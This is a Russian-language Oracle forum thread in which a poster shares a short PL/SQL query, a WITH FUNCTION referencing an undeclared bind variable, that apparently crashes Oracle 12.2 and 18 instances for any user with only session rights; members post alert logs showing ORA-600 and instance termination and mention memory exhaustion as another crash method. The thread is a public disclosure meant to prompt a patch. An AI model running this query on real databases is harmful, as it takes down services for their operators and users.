Гость
Форумы / Oracle [игнор отключен] [закрыт для гостей] / Как завалить экземпляр 12.2 одним запросом / 25 сообщений из 29, страница 1 из 2
26.04.2019, 07:17
    #39806558
Wornet
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
мы тут, случайно, нашли способ завалить rdbms версии 12.2 одним единственным запросом, для которого достаточно обладать привилегией create session
патчи не помогают(23493031 например). патч-левел БД может быть любой - как голый 12.2, так и самый распоследний PSU. ОС тоже любая - валится и на линуксе и на винде.
уровень поддержки не позволяет нам создавать SR, возможно, публикация в открытом источнике позволит достучаться до вендора, и он прикроет дырочку.
обладатели 18 и 19ой версии могут попробовать на более свежей БД, отпишитесь, пожалуйста, падает ли базовод в этих версиях?

вот, собственно, сабж:
Код: plsql
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
var v_res number;
var v_aaa number;
var v_bbb number;
var v_ccc number;
var v_ddd number;
var v_eee number;
var v_fff number;
WITH
      FUNCTION get_number(p_aaa in number,
                          p_bbb in number,
                          p_ccc in number,
                          p_ddd in number,
                          p_eee in number,
                          p_fff in number ) RETURN NUMBER IS
      BEGIN
          RETURN :v_res + 12345;
      END;
  SELECT DUMMY, get_number(:v_aaa,
                           :v_bbb,
                           :v_ccc,
                           :v_ddd,
                           :v_eee,
                           :v_fff)
  FROM DUAL;
/
...
Рейтинг: 0 / 0
26.04.2019, 07:56
    #39806562
Elic
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
Wornet, и он прикроет дырочку.В чём конкретно заключается твоя проблема? Ты не можешь не писать подобной херни?
...
Рейтинг: 0 / 0
26.04.2019, 08:32
    #39806569
Вячеслав Любомудров
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
А что не понятно?
Хочет напрячь саппорт на скорейший выпуск патча чтоб закрыть дыру
...
Рейтинг: 0 / 0
26.04.2019, 09:28
    #39806583
Elic
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
Вячеслав Любомудровчтоб закрыть дыруДыру с чьей точки зрения?
...
Рейтинг: 0 / 0
26.04.2019, 09:34
    #39806585
Вячеслав Любомудров
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
С т.з. админа, например

Очень неприятно, что есть код, который валит экземпляр и никак от этого не защитишься

Непонятно, что здесь может быть непонятно
...
Рейтинг: 0 / 0
26.04.2019, 10:39
    #39806619
Elic
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
Вячеслав ЛюбомудровНепонятно, что здесь может быть непонятноРазработчики, это твари, которые норовят замутить инъекцию назло админам, вместо того, что исправить код до работоспособного состояния?

И что делать с решением задач? Отложить на год, два, ∞ в ожидании патча? Не здравее ли будет объехать прямо сейчас?
...
Рейтинг: 0 / 0
26.04.2019, 10:50
    #39806626
withrecursive
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
ElicВячеслав ЛюбомудровНепонятно, что здесь может быть непонятноРазработчики, это твари, которые норовят замутить инъекцию назло админам, вместо того, что исправить код до работоспособного состояния?
Причем тут разработчики, когда этот код может выполнить любой юзер подключившись девелопером?
...
Рейтинг: 0 / 0
26.04.2019, 10:59
    #39806632
Vivat!San
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
withrecursiveПричем тут разработчики, когда этот код может выполнить любой юзер подключившись девелопером?

если это так на проме, то Вам никакой патч не поможет.
...
Рейтинг: 0 / 0
26.04.2019, 11:13
    #39806643
Elic
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
withrecursiveлюбой юзер подключившись девелопером?Пользователи ходят в БД через не предназначенное для обычных пользователей гуй?
...
Рейтинг: 0 / 0
26.04.2019, 11:25
    #39806652
Aliona
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
ElicПользователи ходят в БД через не предназначенное для обычных пользователей гуй?
Подозреваю, что такое много где практикуется.
...
Рейтинг: 0 / 0
26.04.2019, 12:00
    #39806680
Elic
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
AlionaПодозреваю, что такое много где практикуется.Те сами себе злобные буратины.
Я не понимаю, как можно заставлять бизнес-пользователя делать ежедневную работу в гуе для разработчика/админа. Для бизнес-задач необходимы специальное бизнес-приложения.
...
Рейтинг: 0 / 0
26.04.2019, 12:07
    #39806690
withrecursive
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
ElicПользователи ходят в БД через не предназначенное для обычных пользователей гуй?
Естественно через гуй, но зная логин и пароль можно войти через девелопер.
...
Рейтинг: 0 / 0
26.04.2019, 12:39
    #39806724
Stax
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
ElicAlionaПодозреваю, что такое много где практикуется.Те сами себе злобные буратины.
Я не понимаю, как можно заставлять бизнес-пользователя делать ежедневную работу в гуе для разработчика/админа. Для бизнес-задач необходимы специальное бизнес-приложения.
формс+sql*plus+печать на матричному

.....
stax
...
Рейтинг: 0 / 0
26.04.2019, 12:49
    #39806736
Elic
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
Staxформс+sql*plus+печать на матричномуЗачем вам 12cR2?
...
Рейтинг: 0 / 0
26.04.2019, 13:02
    #39806749
andreymx
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
Так валится ошибка или нет?
Или обсуждение умственных способностей ТС намного интереснее?

ЗЫ: завалить дев-БД - оно тоже никому нафиг не надо
...
Рейтинг: 0 / 0
26.04.2019, 13:09
    #39806756
Stax
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
ElicStaxформс+sql*plus+печать на матричномуЗачем вам 12cR2?

пока незачем

я не искал подобный скрипт для 11-ки, и на 12+ -ке не буду проверять

хотя можно и попробовать, напр в ораклячем апексе

....
stax
...
Рейтинг: 0 / 0
26.04.2019, 13:10
    #39806759
Vivat!San
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
andreymxТак валится ошибка или нет?
Или обсуждение умственных способностей ТС намного интереснее?

ЗЫ: завалить дев-БД - оно тоже никому нафиг не надо

Он ошибку бы хоть выложил для начала.
...
Рейтинг: 0 / 0
26.04.2019, 13:27
    #39806774
Elic
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
Vivat!Sanошибку бы хоть выложил для начала.
12.22019-04-26T10:55:50.489556+03:00
Errors in file C:\ORA\diag\rdbms\elic122\elic122\trace\elic122_ora_10892.trc (incident=100047):
ORA-00600: internal error code, arguments: [17147], [0x7FF190B9608], [], [], [], [], [], [], [], [], [], []
ORA-01006: bind variable does not exist
Incident details in: C:\ORA\diag\rdbms\elic122\elic122\incident\incdir_100047\elic122_ora_10892_i100047.trc
Use ADRCI or Support Workbench to package the incident.
See Note 411.1 at My Oracle Support for error and packaging details.
2019-04-26T10:55:55.798556+03:00
opiodr aborting process unknown ospid (10892) as a result of ORA-600
2019-04-26T10:55:56.112556+03:00
Dumping diagnostic data in directory=[cdmp_20190426105556], requested by (instance=1, osid=10892), summary=[incident=100047].
2019-04-26T10:55:58.976556+03:00
ERROR: Unable to normalize symbol name for the following short stack (at offset 350):
dbgexProcessError()+398<-dbgePostErrorKGE()+2191<-dbkePostKGE_kgsf()+90<-kgeade()+453<-kgeriv_int()+142<-kgeriv()+40<-kgeric1()+64<-kgherror()+364<-kghfrmrg()+3104<-kghsfx()+751<-kghungex()+327<-kghfrh()+2193<-kksFreeHeap()+606<-kksLockDelete()+1079<-kksLockOperation()+361<-kgllkdl()+4656<-kss_del_cb()+535<-kssxdl()+1447<-kssdel()+1253<-kssdch_int..0()+5297<-kssdch()+16<-ksuxds()+1638<-kss_del_cb()+243<-kssxdl()+1447<-kssdel()+1253<-kssdch_int..0()+5297<-kssdch()+16<-ksudlp()+389<-kss_del_cb()+243<-kssxdl()+1447<-kssdel()+1253<-ksuxdl()+720<-ksucln_dpc_cleanup()+511<-ksucln_dpc_dfs()+428<-ksucln_dpc_main()+1262<-ksucln_clean_main()+3598<-ksbrdp()+1556<-opirip()+1539<-opidrv()+960<-sou2o()+112<-opimai_real()+222<-opimai()+231<-BackgroundThreadStart()+702<-000000007715571D<-00000000772B385D
Errors in file C:\ORA\diag\rdbms\elic122\elic122\trace\elic122_clmn_42500.trc (incident=99871):
ORA-00600: internal error code, arguments: [17147], [0x7FF190B9608], [], [], [], [], [], [], [], [], [], []
Incident details in: C:\ORA\diag\rdbms\elic122\elic122\incident\incdir_99871\elic122_clmn_42500_i99871.trc
Use ADRCI or Support Workbench to package the incident.
See Note 411.1 at My Oracle Support for error and packaging details.
2019-04-26T10:56:00.771556+03:00
Dumping diagnostic data in directory=[cdmp_20190426105600], requested by (instance=1, osid=42500 (CLMN)), summary=[incident=99871].
2019-04-26T10:56:00.852556+03:00
Errors in file C:\ORA\diag\rdbms\elic122\elic122\trace\elic122_clmn_42500.trc:
ORA-00600: internal error code, arguments: [17147], [0x7FF190B9608], [], [], [], [], [], [], [], [], [], []
Errors in file C:\ORA\diag\rdbms\elic122\elic122\trace\elic122_clmn_42500.trc (incident=99872):
ORA-501 [] [] [] [] [] [] [] [] [] [] [] []
Incident details in: C:\ORA\diag\rdbms\elic122\elic122\incident\incdir_99872\elic122_clmn_42500_i99872.trc
2019-04-26T10:56:01.848556+03:00
USER (ospid: 42500): terminating the instance due to error 501
2019-04-26T10:56:01.878556+03:00
System state dump requested by (instance=1, osid=42500 (CLMN)), summary=[abnormal instance termination].
System State dumped to trace file C:\ORA\diag\rdbms\elic122\elic122\trace\elic122_diag_41284_20190426105601.trc
2019-04-26T10:56:15.695556+03:00
Instance terminated by USER, pid = 42500
18.32019-04-26T13:23:11.491556+03:00
Errors in file C:\ORA\diag\rdbms\elic18\elic18\trace\elic18_ora_8380.trc (incident=33755):
ORA-00600: internal error code, arguments: [17147], [0x7FF124F7D30], [], [], [], [], [], [], [], [], [], []
ORA-01006: bind variable does not exist
Incident details in: C:\ORA\diag\rdbms\elic18\elic18\incident\incdir_33755\elic18_ora_8380_i33755.trc
Use ADRCI or Support Workbench to package the incident.
See Note 411.1 at My Oracle Support for error and packaging details.
2019-04-26T13:23:14.266556+03:00
*****************************************************************
An internal routine has requested a dump of selected redo.
This usually happens following a specific internal error, when
analysis of the redo logs will help Oracle Support with the
diagnosis.
It is recommended that you retain all the redo logs generated (by
all the instances) during the past 12 hours, in case additional
redo dumps are required to help with the diagnosis.
*****************************************************************
2019-04-26T13:23:20.751556+03:00
opiodr aborting process unknown ospid (8380) as a result of ORA-600
2019-04-26T13:23:21.191556+03:00
Dumping diagnostic data in directory=[cdmp_20190426132321], requested by (instance=1, osid=8380), summary=[incident=33755].
2019-04-26T13:23:23.999556+03:00
ERROR: Unable to normalize symbol name for the following short stack (at offset 397):
dbgexPopulateIncCtx()+115<-dbgexProcessError()+398<-dbgePostErrorKGE()+2293<-dbkePostKGE_kgsf()+90<-kgeade()+438<-kgeriv_int()+144<-kgeriv()+61<-kgeric1l()+84<-kgherror_flag()+476<-kgherror()+31<-kghfrmrg()+3745<-kghfre()+717<-kghungex()+327<-kghfrh()+2262<-kksFreeHeap()+610<-kksLockDelete()+1101<-kksLockOperation()+1706<-kgllkds()+4772<-kss_del_cb()+544<-kssxdl()+887<-kssdel()+100<-kssdch_int..0()+5012<-kssdch()+16<-ksuxds()+1643<-kss_del_cb()+250<-kssxdl()+887<-kssdel()+100<-kssdch_int..0()+5012<-kssdch()+16<-ksudlp_int()+397<-ksudlp()+97<-kss_del_cb()+250<-kssxdl()+887<-kssdel()+100<-ksuxdl()+1135<-ksucln_dpc_cleanup()+496<-ksucln_dpc_dfs()+433<-ksucln_dpc_main()+1342<-ksucln_clean_main()+1630<-ksbrdp()+1629<-opirip()+777<-opidrv()+982<-sou2o()+112<-opimai_real()+294<-opimai()+255<-BackgroundThreadStart()+702<-0x000000007715571D<-0x00000000772B385D
Errors in file C:\ORA\diag\rdbms\elic18\elic18\trace\elic18_clmn_22708.trc (incident=33307):
ORA-00600: internal error code, arguments: [17147], [0x7FF124F7D30], [], [], [], [], [], [], [], [], [], []
Incident details in: C:\ORA\diag\rdbms\elic18\elic18\incident\incdir_33307\elic18_clmn_22708_i33307.trc
Use ADRCI or Support Workbench to package the incident.
See Note 411.1 at My Oracle Support for error and packaging details.
2019-04-26T13:23:25.275556+03:00
Errors in file C:\ORA\diag\rdbms\elic18\elic18\trace\elic18_clmn_22708.trc:
ORA-00600: internal error code, arguments: [17147], [0x7FF124F7D30], [], [], [], [], [], [], [], [], [], []
Errors in file C:\ORA\diag\rdbms\elic18\elic18\trace\elic18_clmn_22708.trc (incident=33308):
ORA-501 [] [] [] [] [] [] [] [] [] [] [] []
Incident details in: C:\ORA\diag\rdbms\elic18\elic18\incident\incdir_33308\elic18_clmn_22708_i33308.trc
2019-04-26T13:23:25.861556+03:00
Dumping diagnostic data in directory=[cdmp_20190426132325], requested by (instance=1, osid=22708 (CLMN)), summary=[incident=33307].
2019-04-26T13:23:26.206556+03:00
USER (ospid: 22708): terminating the instance due to ORA error 501
2019-04-26T13:23:26.234556+03:00
System state dump requested by (instance=1, osid=22708 (CLMN)), summary=[abnormal instance termination].
System State dumped to trace file C:\ORA\diag\rdbms\elic18\elic18\trace\elic18_diag_19232_20190426132326.trc
2019-04-26T13:23:29.360556+03:00
opiodr aborting process unknown ospid (54964) as a result of ORA-1092
2019-04-26T13:23:42.634556+03:00
Instance terminated by USER, pid = 22708
...
Рейтинг: 0 / 0
26.04.2019, 13:31
    #39806776
Elic
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
Elicosid=42500 (CLMN)Прост так процесс ЁКЛМН не назовут…
...
Рейтинг: 0 / 0
26.04.2019, 13:34
    #39806783
withrecursive
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
Wornet19ой версии могут попробовать на более свежей БД, отпишитесь, пожалуйста, падает ли базовод в этих версиях?
[src PLSQL]
livesql.oracle.com (Oracle Database 19c Enterprise Edition - 19.2.0.0.0) выдает вот такое
автор1 error has occurred
Error: Internal Server Error
После этого на любой запрос выдает тоже самое (помогает только reset session)
...
Рейтинг: 0 / 0
26.04.2019, 13:36
    #39806784
Elic
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
withrecursiveпомогает только reset sessionБлин. До конца не упали...
...
Рейтинг: 0 / 0
26.04.2019, 13:56
    #39806806
DВА
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
Вячеслав ЛюбомудровС т.з. админа, например

Очень неприятно, что есть код, который валит экземпляр и никак от этого не защитишься

Непонятно, что здесь может быть непонятно

а чем вам не нравится старый добрый способ просто выкушать всю память в какую-нить простенькую коллекцию?
...
Рейтинг: 0 / 0
26.04.2019, 14:00
    #39806811
Elic
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
DВАа чем вам не нравится старый добрый способ просто выкушать всю память в какую-нить простенькую коллекцию?Так от этого ж вроде защита есть? Да и, вроде как, на линуксах это будет не вся, а 4G?
...
Рейтинг: 0 / 0
26.04.2019, 14:02
    #39806813
DВА
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
ElicDВАа чем вам не нравится старый добрый способ просто выкушать всю память в какую-нить простенькую коллекцию?Так от этого ж вроде защита есть? Да и, вроде как, на линуксах это будет не вся, а 4G?
для кого и 4 гига это вся )))
на самом деле можно расширить границу, и это на один процесс ограничение
Если pga_aggregate_limit, то не очень надежная защита )
...
Рейтинг: 0 / 0
26.04.2019, 14:12
    #39806823
Алекссс
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Как завалить экземпляр 12.2 одним запросом
ElicAlionaПодозреваю, что такое много где практикуется.Те сами себе злобные буратины.
Я не понимаю, как можно заставлять бизнес-пользователя делать ежедневную работу в гуе для разработчика/админа. Для бизнес-задач необходимы специальное бизнес-приложения.
вообще-то sql придумали для аналитиков
...
Рейтинг: 0 / 0
Форумы / Oracle [игнор отключен] [закрыт для гостей] / Как завалить экземпляр 12.2 одним запросом / 25 сообщений из 29, страница 1 из 2
Целевая тема:
Создать новую тему:
Автор:
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]